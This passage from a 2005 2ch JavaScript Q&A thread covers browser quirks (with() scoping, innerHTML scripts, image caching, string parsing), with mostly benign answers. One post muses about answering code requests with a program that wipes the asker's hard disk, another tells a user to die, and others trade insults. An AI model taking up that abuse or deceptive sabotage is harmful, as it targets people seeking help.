>>537で答えは出てるみたいだけど、割とマイナーな落とし穴だと思うので詳しく。

IEだとcreateElement直後のノードでもonclick===nullになっているので
with(node){onclick=...}でnode.onclickに代入されるけど、
Fxだとonclick===undefinedなので
with(node){onclick=...}ではnode.onclickではなくwindow.onclickに代入されてしまう。

つまり、>>491+>>495だと
shapeとcoordsへの代入は予期した動作になるが
次のonclickへの代入で非常に残念な思いをすることになる。

口は悪いが>>501が分かりやすいブックマークレットを貼ってくれてるので、
Fxを起動して試してみれ。

547 名前:Name_Not_Found 投稿日:2005/10/22(土) 14:32:50 ID:???
あの、小数第2位を四捨五入して小数第1位までを求めたいんですが、どうすればいいんですか?
整数にするならMath.roundで楽勝だと思うんですけど・・・
例:2.4→2.4、3.141592→3.1、9.876→9.9

548 名前:Name_Not_Found 投稿日:2005/10/22(土) 14:36:43 ID:???
[x]をround関数だとすると、

[2.4*10]/10=2.4
[3.141592*10]/10=3.1
[9.876*10]/10=9.9

とりあえず負の数は考えていません

549 名前:Name_Not_Found 投稿日:2005/10/22(土) 14:39:01 ID:???
>>548
ありがとうございます。
それでできました。

550 名前:Name_Not_Found 投稿日:2005/10/22(土) 14:49:53 ID:???
引数の元となった変数の変数名を呼び出し先の関数内で取得する方法はありますか?
hoge=1;
getVarName(hoge)
function getVarName(hogehoge){
 alert(hogehogeの元になった変数の変数名を取得する命令)
}
こんな感じで関数内のalertで「hoge」と表示できますか?

551 名前:550 投稿日:2005/10/22(土) 15:07:05 ID:???
あ。別に呼び出し先の関数内で取得する必要はありませんね。
質問の仕方を変えます。

変数名を取得する方法はありますか?
hoge=1;
alert(hoge.変数名を取得する命令);
結果「hoge」と表示。

552 名前:Name_Not_Found 投稿日:2005/10/22(土) 15:19:56 ID:rNbJxPsf
prototypeって、わかり易くたとえるとどんなことですか。

553 名前:Name_Not_Found 投稿日:2005/10/22(土) 15:21:52 ID:???
>>550

> alert(hoge.変数名を取得する命令);
この形式で表示するのはおそらく不可能。
具体的にどのようなことがやりたいのかもう少し詳しく書くと良いかも

>>552
あくまでたとえだが、スタティック変数

554 名前:Name_Not_Found 投稿日:2005/10/22(土) 15:41:33 ID:???
最初の質問は age るという暗黙のルールもテンプレに入れた方が良いような気がしてきた。

555 名前:Name_Not_Found 投稿日:2005/10/22(土) 15:42:41 ID:???
>>554
誤) age る
正) sage ない

556 名前:Name_Not_Found 投稿日:2005/10/22(土) 15:56:41 ID:???
>>554それは間違い。常連連中は専用ブラウザのお気に入りでこのスレ管理してるだろ。
イチイチ上げる必要なし。大体一番上に誘導でとるしな。

557 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:12:56 ID:???
>>556
間違いかどうかというよりも、慣例的に sage ないというルールだったのを変更する尤もな理由がない。
sage ないことによって、新規の回答者の流入がより多く見込めるが、それを犠牲にするのはよろしくない。

558 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:16:38 ID:???
>>550
変数「名」は、コーディングの時にマの便意上付けてるもので
プログラム稼動中は、ただのアドレス数字で管理されてるはず。
よってその名前を取り出すことは不可能。

ただその変数をたどることが目的ならできる。
「callee」「caller」>>1過去スレ全集→検索GO
とその前に>>2-3要熟読。

もっとも、やる必要があるのかという声が以前出た問題なので、
めんどくさがらず引数でシコシコ渡してけ。

559 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:29:11 ID:???
>sage ないというルールだったのを変更する尤もな理由がない。
そんな慣習どこにある。
第一ここ最近質問も含めみんなsageてるだろうが
それで運営できてるのにイチイチ茶々を入れるなボケ。
少し前sageない香具師がいたが誘導含め相当叩かれたのを覚えている。

560 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:32:22 ID:???
>>559
「最初の質問は」sage ないようにと書いた。読めないのか?

561 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:35:07 ID:???
「最初の質問」でも必ずしもageる必要はない、と書いた。
理解できないのか?

562 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:35:12 ID:???
>>559
> そんな慣習どこにある。
過去ログを見ると、俺はこのスレの初期からいるようだ。
そんな俺に言わせれば、最初の質問だけは sage ないという
暗黙のルールは確かに存在する。

563 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:38:15 ID:???
>>561
理解できねえよ。自分の文章>>559を読んでみろ低脳。

564 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:41:14 ID:???
>>561
> 質問も含めみんなsageてるだろうが
>>559に書いてあるが、どういうことだろうねー、この馬鹿は。
みんな sage てるって、そりゃそうだ。
だけど、最初の質問は sage ちゃ駄目だわな。

565 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:41:53 ID:???
20数前スレからいるが、
age続けて叩かれたことは記憶してるが
最初の質問を「sage」て、誘導されるはまれだし
天婦羅にするところまで問題にしたのは初めてだ。

566 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:42:56 ID:???
おねがいがあります。
前から順々に画像を表示させたいのですが、いくらやっても出来ません。
らくに出来る方法はなさそうなので、誰かソースコード書いてくれませんか?
おれは初心者なので、今までどんなに頑張っても出来なかったので、
はっきり言いますと、ソースコード全部書いてください。
よろしくお願いします。急いでいるから早くね。
うるさい煽りはやめてね


567 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:45:18 ID:???
>ソースコード全部書いてください。
>よろしくお願いします。急いでいるから早くね。

放置してくださいという意味か?

568 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:45:52 ID:???
>>566
お前死ねよ
はやく死ね
よし死ね
うざい死ね

569 名前:554 投稿日:2005/10/22(土) 16:47:49 ID:???
もう一度言うから正しく理解してもらおうか。
最初の質問だけ sage ない。
他は全て sage る。

570 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:49:17 ID:???
どうも低脳連中がごろついてるな。
>>560様はageろといってるんだ。このわからずやが。

571 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:50:21 ID:???
質問者は「sageない」
回答者は「sageる」
それで、いーじゃん。質問スレのキホンだろ、これ。

572 名前:556 投稿日:2005/10/22(土) 16:54:25 ID:???
もう一度言うから正しく理解してもらおうか。
最初の質問は sage ないのが好ましいが、
必ずしも強制することでもなく、sageたから叩かれることでもない。
まして天婦羅にするほどのことでもない。


573 名前:571 投稿日:2005/10/22(土) 16:55:30 ID:???
ああん、ややこしいこと書いてしまったな。
つまり、質問者とは最初の問題提起の記事ということ。
つまりだな、早い話が、>>569と同じ意見だ。
問題の本質は守るか守らないか、だろ。

574 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:56:02 ID:???
> age sage
心底どうでもいいと思う人 ノ

>>566
ここは質問スレですよ。

575 名前:Name_Not_Found 投稿日:2005/10/22(土) 16:56:57 ID:???
>>571
それをいうと自分は質問者だからといっていつまでもage続ける香具師がくる。
ヤメレ!!

「最初の質問」としようよ。

576 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:01:44 ID:???
>>556
それはちがうだろ。それじゃ「挨拶(あいさつ)」と同じ理屈だよな。
挨拶は、するのが好ましいが、
必ずしも強制することでもなく、挨拶しないから叩かれることでもない。
まして条例に書くほどのことでもない。 ・・・と。
だから、日本人は遵法精神が欠如してるんだよ。小役人にはなりたくないが。

577 名前:556 投稿日:2005/10/22(土) 17:04:50 ID:???
>>574同意見だが、天婦羅まで言い出したので噛み付いてみた。
どっちでもいいじゃんよ。

>ここは質問スレですよ。
イイこと言った。レス消費正直スマンカッタ。

次 の 質 問 ど ー ぞ w

578 名前:569 投稿日:2005/10/22(土) 17:05:46 ID:???
回答者への要求として、>>4 に、仕様を読むという項目がある。
もともとこの HP 板に多くを求めるアホはいないだろうが、
最近これが守られているとは思えなくなってきているのは痛い。
実際、「仕様を読ませる気か」 という開き直りレスさえあった。
もう、こうなると、こういう幼稚な回答者連中の改心を期待する段階ではないだろう。
だから、新規回答者の流入に期待するしかない。
最初の質問だけは sage ない (他は全て sage る) を今になって言っているのは
こういう狙いがあるから。呆けて茶々を入れているわけではない。

579 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:07:30 ID:???
>>576
>>554はとうとう壊れだしたなw

580 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:09:51 ID:???
>>566






581 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:10:42 ID:???
>>566
普通はスルーだが、お願いなら聞いてやろうじゃないか。で、いくら出すの?
速成だから割増ね。

582 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:12:34 ID:???
>>566
Σ縦読みきづかねえw

そもそもどうしても質問以外はsageてろ、ってことなら2ch側に最初からメール欄に「sage」と書いておいてくれ、って頼めばいいんじゃあないか。

583 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:13:54 ID:???
少し質問があってお願いに来ました.
動作環境
WinXP+Sleipnir1.66

<html>
....
<script language="javascript" src="ajax.js"></script>
<script language="javascript" src="template.js"></script>
<select id="price"... onChange="javascript:check('datファイルのURL')">
....
<div id="tdiv">
//ajaxを使って読み込んだデータ・・・@
<input id="price" onchange="javascript:setComma('price')">
//
</div>
....
</html>

という状態で,selectメニューが変化すると外部にある*.datファイル(内容はHTML)を
document.getElementById('tdiv').innerHTM = res.responseText;を使い表示させるようにしているのですが
@からtemplate.jsの中のsetComma()を呼び出すと「オブジェクトを指定してください」とエラーがでます.

この場合,動的に読み込み表示したhtml内からあるjavascript内の関数へのアクセスは無理なのでしょうか?
打開策などあればヒントでもいいので宜しくお願いします.

584 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:15:58 ID:???
>>578
・最初の質問にsageない
・仕様を読まない
・最初にテンプレすら読んでない

それは明らかに  >新規回答者の流入  が原因だと思われw
切れて叩いても、テンプレ入れても無駄無駄無駄。コツコツ誘導してこうぜ。
あと、ある程度寛容にならんと。
・最初の質問にsageない はその意味でどっちでもいい。

585 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:18:29 ID:???
>>583 > 打開策
onchange="javascript:setComma('price')">

onchange="setComma('price')"> とか
onchange="setComma(this)"> とかオブジェクト渡すとか試してみては

586 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:20:58 ID:I+m3znpi
おまいらそろそろ>>531に答えてくださいよ
朝から粘ってるのに

587 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:23:03 ID:???
>>583
document.writeとかで書きこんでるわけでも
innerHTMLで呼び出し元関数消してるわけでもなければ
普通に出きると思われ。

問題は、外部ファイルがリロードの時にちゃんと呼びこまれてるかだと思う

588 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:39:37 ID:???
>>585,587
早速回答ありがとうございます.

>>583
javascript抜くのとthisで渡すのはだめでした_| ̄|○

>>587
*.jsファイルを読みに行かないで親htmlファイル内に
<script language="javascript">
// ajax.jsの内容
// template.js内容
</script>

とやってみましたがだめでした.
外部ファイルの*.datはロードできているか確認するために
<textarea>へdocument.name.valueで*.datソースを突っ込んでやりましたが
文字化けもせず正常に表示されました.*.datの記述を⇒*.htmlにしても同じでした.

589 名前:Name_Not_Found 投稿日:2005/10/22(土) 17:59:55 ID:???
>>531
そこのサイトの人間に聞け!

まあ単純に stitles[stitles.length] = nostyle;消せば動くだろうが
nostyle変数関連を全部換えてった方がいい。

590 名前:583 投稿日:2005/10/22(土) 18:00:52 ID:???
すいません自己解決しそうです.
他の関数を呼び出してalert("check");で反応したのでどうやら
3桁ごとにカンマ付ける関数がだめみたいです.

やっている動作は
onchangeで変化したinput数値取得⇒3桁ごとにカンマ付ける関数に値を渡す⇒document.formname.name.valueで
元のonchange元のinputにカンマを付けた値を戻してやる
です. 

お恥ずかしい_| ̄|...○ 回答してくれた方々ありがとうございました.


591 名前:Name_Not_Found 投稿日:2005/10/22(土) 18:11:35 ID:???
<HEAD>
<SCRIPT type="text/javascript">
<!--
function test(){alert("OK");}

window.onload=function(){
var sScript="<br><script defer>"; //★
sScript +="test();";
sScript +="<" +"/script>";
alert("sScript==" + sScript);
var ObjDIV1=document.getElementById("d1")
ObjDIV1.innerHTML=sScript;
alert(ObjDIV1.innerHTML)
}
//-->
</SCRIPT>
</HEAD>
<BODY><DIV id="d1"></DIV></BODY>

IEで試してみたんだけど、★の行の<br>を取ると動作しないねw
<SCRIPT>の前になんでもいいから要素を置くと動作するw変な実装w
余計な報告終わりw

592 名前:Name_Not_Found 投稿日:2005/10/22(土) 18:14:21 ID:???
>>591
な、なんだってー(;・`ω・´)
躓いたら取り合えず前に要素っと・・・。

593 名前:Name_Not_Found 投稿日:2005/10/22(土) 18:16:16 ID:???
>この場合,動的に読み込み表示したhtml内からあるjavascript内の関数へのアクセスは無理なのでしょうか?

スババババーン
<html>
<head><script language="JavaScript">
function foo(){alert('そんなことはないと思うが');}
function pooh(root){root.innerHTML='<div onclick="foo()">押せ2</div>';}
</script></head><body><div onclick="pooh(this)">押せ1<div></div></div></body></html>


594 名前:Name_Not_Found 投稿日:2005/10/22(土) 19:11:32 ID:???
色々勉強なりまっす

595 名前:Name_Not_Found 投稿日:2005/10/22(土) 19:11:54 ID:???
初歩的な質問です。
新窓で開きたいページがあるで調べていましたが、HTMLに直接書くと

<a href="●●.html" onclick="window.open('●●.html','猫好','scrollbars=1,
resizable=1');return false;" onkeypress="window.open('●●.html',
'猫好','scrollbars=1,resizable=1');return false;">ねこだいすき</a>

のように長くなってしまいます。targetを使わず、jsオフでも見られるように
したいのですが、これだとソースがうざそうです。
外部ファイルに分けることはできますか?

596 名前:Name_Not_Found 投稿日:2005/10/22(土) 19:52:37 ID:???
七問です。
数値を整数かどうか判断するのはどうすればいいのでしょうか?
検索しても分からず、ここで質問させていただきました。

597 名前:Name_Not_Found 投稿日:2005/10/22(土) 19:53:35 ID:???
できるよ。

あと onkeypress="return this.onclick()" ってするとちょっとは減るかも。

598 名前:Name_Not_Found 投稿日:2005/10/22(土) 19:54:23 ID:???
七問・・・?
質問の間違いか?
一瞬ワロタ

599 名前:Name_Not_Found 投稿日:2005/10/22(土) 20:07:05 ID:???
>>596
有理数なら整数か少数と考える。
少数なら「.」があるはずと判断する。
判断の仕方が知りたいのね?
方法もだったのなら、性器表現で吉。

600 名前:Name_Not_Found 投稿日:2005/10/22(土) 20:14:02 ID:???
昨今のワープロの普及で誤字だらけの文章が多くなったな。
誤)少数
性)小数

601 名前:Name_Not_Found 投稿日:2005/10/22(土) 20:15:11 ID:???
つ、吊られないぞ!

602 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:06:04 ID:???
>>601小数点 な。自分で変換してミル!

>>595
みんなこいつはイタイんでスルーか?
「外部ファイル」「targetを使わず」意味不明。
どこまでの初心者が無い知恵振り絞って思いついた用語か計り知れない。

headに関数作って分ける形ならこれだ。
<head><script language="JavaScript">
function car_fucker(){window.open('●●.html','猫好','scrollbars=1, resizable=1');return false;}
function cat_butcher(){window.open('●●.html', '猫好','scrollbars=1,resizable=1');return false;} //www
onkeypress="return this.onclick()" //wwwwwwwwww
</script></head><body><a href="●●.html" onclick="cat_fucker()" onkeypress="cat_butcher()">ねこだいすき</a>
</body></html>



603 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:16:45 ID:+VZr9PY5
document.write('<TABLE cellSpacing=0 cellPadding=0 border=0>');
     :
のように、グダグダと長くHTMLを書き綴る際、
一括で「ここからここまでHTML」と指定する書き方があった
ような気がするのですが思い出せないので検索できません。
どなたかお助けください。

604 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:23:37 ID:???
おまえホントに自分で調べる気ないだろ。


605 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:24:46 ID:???
>"cat_butcher()">ねこだいすき
ワロタ

606 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:25:20 ID:+VZr9PY5
FAQやリファレンスいろいろ見ているのですが
申し訳ない、ヒントだけでもおながいします。

607 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:29:32 ID:???
<script src="http://pc8.2ch.net/test/read.cgi/hp/1129074823/602" type="application/javascript"></script>
<noscript>
<blockquote cite="http://pc8.2ch.net/test/read.cgi/hp/1129074823/602">
<p>「外部ファイル」「targetを使わず」意味不明。</p>
</blockquote>
</noscript>

608 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:30:33 ID:???
>>603
おまえは、土曜の夜が淋しくてこんなとこにやって来たのさ。
検索は思い出してするものか?
思い出してするのはアレだけにしとけ。


609 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:35:42 ID:+VZr9PY5
>>608
明日提出期限なのです・゚・(´Д⊂ヽ・゚・
がんがりますから、どうかヒントをおながいします

610 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:36:50 ID:???
ほうほう。car_sex の行為者は、car_fucker なのか。
なんだかクルマの排気筒に突っ込んでるみたいな気もするが。

611 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:39:47 ID:???
sageないと明日まで、スルーだな、鯉津。

612 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:44:14 ID:???
sageますのでスルーしないでください。

613 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:57:15 ID:???
宜しくお願いします。
画像ファイルの読み込みが完了してからスクリプトを開始させるために
image1.onload=function(){flag_load=1;}
のような処理をし、フラグの値で関数を実行するかどうか判定しています。
(フラグが偽の時はsetTimeoutで関数を再度呼び出しています)
ですがこれだと、ブラウザの「戻る」ボタンで戻った時などの
キャッシュに画像が残っている場合に、画像のonloadが実行されずスクリプトが開始できません。
キャッシュがある場合も含めた処理の仕方はどうすればいいでしょうか?

614 名前:Name_Not_Found 投稿日:2005/10/22(土) 21:59:37 ID:???
いやむしろageるべきだ。>>571

615 名前:Name_Not_Found 投稿日:2005/10/22(土) 23:39:13 ID:???
あんまりソースは美しくないですが、
とりあえず指定に添うものができたので
糸冬にします。

アドバイスっぽいものや煽りを書き込んで下さった方々、
どうもありがとうございますた。

616 名前:Name_Not_Found 投稿日:2005/10/22(土) 23:58:29 ID:???
>>613
ヒント: meta no-cache

617 名前:Name_Not_Found 投稿日:2005/10/23(日) 00:04:43 ID:???
>>615
誰?w

618 名前:Name_Not_Found 投稿日:2005/10/23(日) 00:25:59 ID:???
>>616
そういえばそういう便利なものがありましたねThx
JavaScriptの外側はすっかり忘れてましたorz
更に欲を言うならキャッシュ有効でキャッシュした画像を利用できる方法があれば…。
せっかくDLした重いデータをまたDLし直すのも妙な気がするので

619 名前:Name_Not_Found 投稿日:2005/10/23(日) 00:50:57 ID:???
image.complete とかで判定するのもいいんじゃね? 正しく読んだかどうかわからないけど。

620 名前:Name_Not_Found 投稿日:2005/10/23(日) 01:26:59 ID:???
>>547
10かけてMath.roundして10で割る

621 名前:Name_Not_Found 投稿日:2005/10/23(日) 02:05:41 ID:???
>>619
そのプロパティ初めて知りました煤i・ω・;
しかし検討途中で事情が単純なキャッシュの問題だけでないことに気が付き激しくorz
ともかく勉強になりましたー回答してくださったお二方ありがとうございましたー

622 名前:Name_Not_Found 投稿日:2005/10/23(日) 08:09:07 ID:K6h89w51
すいません。ボタンで選択すると消えてしまうようにする方法を
教えてください。

623 名前:Name_Not_Found 投稿日:2005/10/23(日) 08:14:19 ID:???
>>622
IE専だが、
画像にID=image1として

var trasition=false;
function iTrans()
{ if (!trasition){ trasition=true;
img1.filters.item(0).Apply();
img1.src="../images/whitebutton.gif";
img1.filters.item(0).Play()
}
}

初期値は
<script for="image1" event="onfilterchange">
trasition=false;
</script>

HTMLは
<img id="img1" SRC="pic1.gif"
style="filter:progid:DXImageTransform.Microsoft.Fade(duration=2)"
onclick="iTrans()">

でどう?

624 名前:Name_Not_Found 投稿日:2005/10/23(日) 08:58:06 ID:???
cssで不可視にするのはどうだろうか

625 名前:Name_Not_Found 投稿日:2005/10/23(日) 09:24:38 ID:???
<input type="button" onclick="this.style.display='none'" value="click">

626 名前:Name_Not_Found 投稿日:2005/10/23(日) 12:49:58 ID:JYL4m5bw
質問。
<UL>リストで<LI>のテキストに順番にアンダーラインを付けて行くように
したいです。
i=0として、
document.getElementsByTagName('li')[i]
をfor文でループさせ、obj.style.textDecorationでsetTimeout関数
を、5000ミリセカンドで起動させたのですが、うまく動きません。
正しい式を教えてください。

627 名前:Name_Not_Found 投稿日:2005/10/23(日) 13:29:20 ID:???
こういうことかな?

<html><head></head>
<body>
<ul>
<li style="text-decoration:underline;">ねこ
<li>こねこ
<li>ねねこ
<li>ねこねこ
</ul>
<script type="text/javascript">
i=0;
setTimeout("f_underline()",5000);

function f_underline(){
document.getElementsByTagName('li')[i].style.textDecoration='none';
if(i<document.getElementsByTagName('li').length-1){i++;}else{i=0;}
document.getElementsByTagName('li')[i].style.textDecoration='underline';
setTimeout("f_underline()",5000);
}
</script>
</body></html>

for文とsetTimeout関数の両方を使ってるのはなんか変な気がする。
とりあえず動くものを書いただけだから正しい構文とか他の人フォローよろしく。

628 名前:Name_Not_Found 投稿日:2005/10/23(日) 14:20:10 ID:???
if (obj.style.textDecoration)
  obj.style.textDecoration += " " + "underline";
else
  obj.style.textDecoration = "underline";

じゃないかな、textDecoration や className のような空白区切りで値をとるものは。

629 名前:Name_Not_Found 投稿日:2005/10/23(日) 14:58:07 ID:???
JSの質問でソースをくださいという奴に対して、
FSOを使ってハードディスク全消去するプログラムを書いて貼ってやってみたくなってきた
ああ、俺も犯罪者の資質があるなぁ

630 名前:Name_Not_Found 投稿日:2005/10/23(日) 15:26:39 ID:???
>>629
自分で問題解決のためにどれくらい努力しているかは、内容を見ればわかる。
少なくとも、>>626はコードの知識はあるようだし、努力の跡はうかがえる。
一番忌むべきは、うり出してこれどうやるんですか的なお馬鹿なものだろ。
あんたは、ただヒマなだけさ。

631 名前:Name_Not_Found 投稿日:2005/10/23(日) 15:47:12 ID:???
>>630
別に626に対していったわけではない。
しかし暇なだけというのは間違いないな。選挙いってこよ

632 名前:Name_Not_Found 投稿日:2005/10/23(日) 16:21:59 ID:???
>>626 洩れも書いてみた。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
var a, count = 0;
function init() {
a = document.getElementById('u0').getElementsByTagName('li');
setInterval(step, 500);
}
function step() {
if(++count >= a.length) count = 0;
for(var i = 0; i < a.length; ++i)
a[i].style.textDecoration = (i == count) ? 'underline' : 'none';
}
</script>
</head><body onload="init()">
<ul id="u0"><li style="text-decoration:underline;">ねこ</li>
<li>こねこ</li><li>ねねこ</li><li>ねこねこ</li></ul>
</body></html>

633 名前:Name_Not_Found 投稿日:2005/10/23(日) 17:21:41 ID:???
>>630
昔 荒らしに対して while(1) print(); って書いた覚えがあるわ。

634 名前:Name_Not_Found 投稿日:2005/10/23(日) 17:48:03 ID:???
ごちゃごちゃうるせえぞゆとり教育ども。全く関係無い雑談するな。

635 名前:Name_Not_Found 投稿日:2005/10/23(日) 18:11:21 ID:???
>>634
ども、とは>>633とあと誰のことだ。このぶた。
>>633にしてもコードは書いてるよな。
全く関係無い雑談は、実はおまえだろ。
キエロ、ブタ


636 名前:Name_Not_Found 投稿日:2005/10/23(日) 21:32:13 ID:???
ぶぶー

637 名前:エロママンガ上げてます。リクどうぞ 投稿日:2005/10/23(日) 22:05:26 ID:KPDM3vYK
[ラオウの] (-。-)y-゜゜゜刑事 [パンツ]
http://ex10.2ch.net/test/read.cgi/news4vip/1130039504/

638 名前:Name_Not_Found 投稿日:2005/10/23(日) 23:27:20 ID:???
ごちゃごちゃうるせえぞゆとり教育。全く関係無い瓜はるな。

639 名前:Name_Not_Found 投稿日:2005/10/23(日) 23:53:03 ID:???
今、 www.aaaa.co.jp/a/b/c/d/e.html というURLに対して
location.pathname.split("/")[1]…… で
「現在表示中なのは、abcdです。」というメッセージを表示するように
スクリプト組んでるんですが、
www.aaaa.co.jp/abcd.html というページで
「現在表示しているのは、aB cDです。」という表示を返すには
どんなふうに改造したらよいのでしょうか。

640 名前:Name_Not_Found 投稿日:2005/10/23(日) 23:54:12 ID:zqg9ND7l
すみません639ですがsageてました。

641 名前:Name_Not_Found 投稿日:2005/10/23(日) 23:54:24 ID:???
もうちょっとわかりやすく説明して

642 名前:Name_Not_Found 投稿日:2005/10/24(月) 00:17:38 ID:Y4/Hy9XX
639です。
location.pathname.split("/")[θ] を使って
フォルダ名の取得で現在表示ページの場所を自動取得しているのですが、
ファイル名(abcd.html)から「abcd」を抜き出し、かつ
「a」ならば「a」
「b」ならば「B」 というふうに、
ファイル名そのままではなく、更に訳したメッセージを返したいのです。

643 名前:Name_Not_Found 投稿日:2005/10/24(月) 00:42:21 ID:???
>>642
その訳す規則が全然わからん。厳密に説明できなかったら
プログラムなんて作れないだろ。あるいは20個くらい例を
出すとか。

644 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:05:43 ID:???
フローチャートでよろ

645 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:21:43 ID:Y4/Hy9XX
>>643
ですよね・・・自分も悩んでいるのはそこなんです。
ファイル名の取得まではできました。
クライアントの指示としては、たとえば
www.aaaa.co.jp/menu1file3.html を
   ↓
「今観ているのは、メニューAのファイルCです」という感じで
訳したいということだと理解しています。

646 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:31:28 ID:???
どこが「メニューA」で「ファイルC」になるの?
はっきりいってすべてのURIごとの説明文をデータと
して持った方がずっと分かりやすくてよいと思うが。

647 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:32:07 ID:???
その、めぬーとかふぃぇってのは固定?

648 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:47:01 ID:Y4/Hy9XX
menu1file3
menu -> めにゅー
1 -> A(1番目のアルファベ)
file -> ふぁいる
3 -> C(3番目のアルファベ)
て具合ですたぶん。
注意書きで「例外もある」とかかれているのが激しく不安なのですが。

menuやfileの部分は(一応)固定という前提で話もらってます。

649 名前:Name_Not_Found 投稿日:2005/10/24(月) 01:58:04 ID:???
数字は多いの?
2桁とかなるの?

650 名前:Name_Not_Found 投稿日:2005/10/24(月) 02:35:36 ID:???
>>623
trasition って単語が気になった漏れ

651 名前:Name_Not_Found 投稿日:2005/10/24(月) 02:53:33 ID:???
>>648
まあ・・・
var type = { file : 'ファイル', menu : 'メニュー' };
var alpha = ['', 'A', 'B', 'C'];
var name = 'menu1file3';
var yaku = name.replace(
    /([-_a-zA-Z]*)([0-9]*)([-_a-zA-Z]*)([0-9]*)/,
    function (z, x, a, y, b) { return type[x] + alpha[a] + type[y] + alpha[b]; });
alert(yaku);
とか?

652 名前:Name_Not_Found 投稿日:2005/10/24(月) 06:50:17 ID:???
もうちょっとabcdに何らかの規則性があれば書いてくれ。
これじゃ条件が曖昧過ぎる。
例えば
/menu1file3.html
/menu1/file3.html
/menu/a/file3.html
という3種類は存在するわけ?
つまり>>645だと
デレクトリ関係なくファイル名を解析して、
メニュー1のファイル3です とするんだろうが
メニュー1などのメニューデレクトリがあってファイルがいくつも並んでる可能性もあるわけなのか?
メニューディレクトリの下にメニュ名デレクトリがあってファイルがいくつも並んでる可能性は?

ある程度厳密にデレクトリ規則の指定がされてないと
マは、まあ困るだろうな(駄洒落じゃないよw)

どっちにしろデレクトリ/ファイル名から名前を変更するものを
配列か何かで持っておいて(condition('file')='ファイル'; 等)
アドレスを'/'でsplitして配列に収めて、
その配列の各項目が上記条件配列の項目に該当するかループで検索。
ヒットは変換。
後は、規則にしたがってカッコを穴埋めて書き出せば良い。
「今観ているのは、()()の()()です。」


653 名前:Name_Not_Found 投稿日:2005/10/24(月) 09:48:38 ID:???
ファイルの数が200程度までで頻繁に変化しないのであれば、
ファイルと説明の対応表を作ってそれを検索するだけにして
おくことを勧める。「人間が見てわかりやすいように説明文
を生成する」なんて一番もめるとこだよ、プログラムで自動
なんてやめた方が吉。

654 名前:Name_Not_Found 投稿日:2005/10/24(月) 10:59:58 ID:BayAEDSb
>>649 >>651-653
どうもありがとうございます。

ディレクトリ規則については、「例外もある」という恐ろしい但し書きがついている
ので、おっしゃるような変なファイル構成になっていると思いますが
とりあえず自分が対応するように言われているのは
単一ディレクトリ内でhtmlファイルネームから場所を自動で割り出して
日本語にして返すということができるか?という話なので、
ディレクトリについてはこの際考えなくていいものと割り切っております。

>>653 ですね・・・クライアントに渡した際のカスタマイズ部分を
最小限にしようとすると、どうしても無駄に複雑化するので・・・。

655 名前:Name_Not_Found 投稿日:2005/10/24(月) 12:24:39 ID:???
>>651の応用で半分くらいは出来そうです。
どうもありがとうございます。

やっぱりネックになるのは、ファイル名の自動取得・・・
なんですよね……。(´-ω-`)

656 名前:Name_Not_Found 投稿日:2005/10/24(月) 16:45:49 ID:uYxU7s85
非常に低級な質問で申し訳ないのですが・・・
var i=3;
["document.f.a"+i+".value"]="2ちゃんねる";
としたら表示されないのですがなぜでしょう?
(fフォームのa3に2ちゃんねると表示したいわけです)
なんか変な文字列でも入ってるのでしょうか?
ちなみに、過去ログは全て調べました。
似たような内容の質問は大量にあったんですが、この答えには結びつかず・・・

657 名前:Name_Not_Found 投稿日:2005/10/24(月) 16:52:15 ID:???
var i = document.f.a3;
i.value = "2ちゃんねる";

ではいかんの?

658 名前:Name_Not_Found 投稿日:2005/10/24(月) 16:57:55 ID:uYxU7s85
いや、変数iの数字を色々変えたいので・・・
今作ってるスクリプトではfor構文でやっています。

659 名前:Name_Not_Found 投稿日:2005/10/24(月) 17:12:23 ID:???
>>656
>>3 Q7/A7

660 名前:Name_Not_Found 投稿日:2005/10/24(月) 17:15:22 ID:???
>>656
過去ログ全て調べたなんて大嘘としか思えない。何回も同じ
回答がなされてその結果あのFAQ >>3 になってるんだしさ。

661 名前:Name_Not_Found 投稿日:2005/10/24(月) 17:16:14 ID:uYxU7s85
あ、動きました。ありがとうございます。
過去ログは調べたもののFAQには目を通してませんでした。すいません。
(過去ログをは全て検索したのに何で当たらなかったんだ・・・?)

662 名前:Name_Not_Found 投稿日:2005/10/24(月) 17:16:38 ID:0rDL8XNx
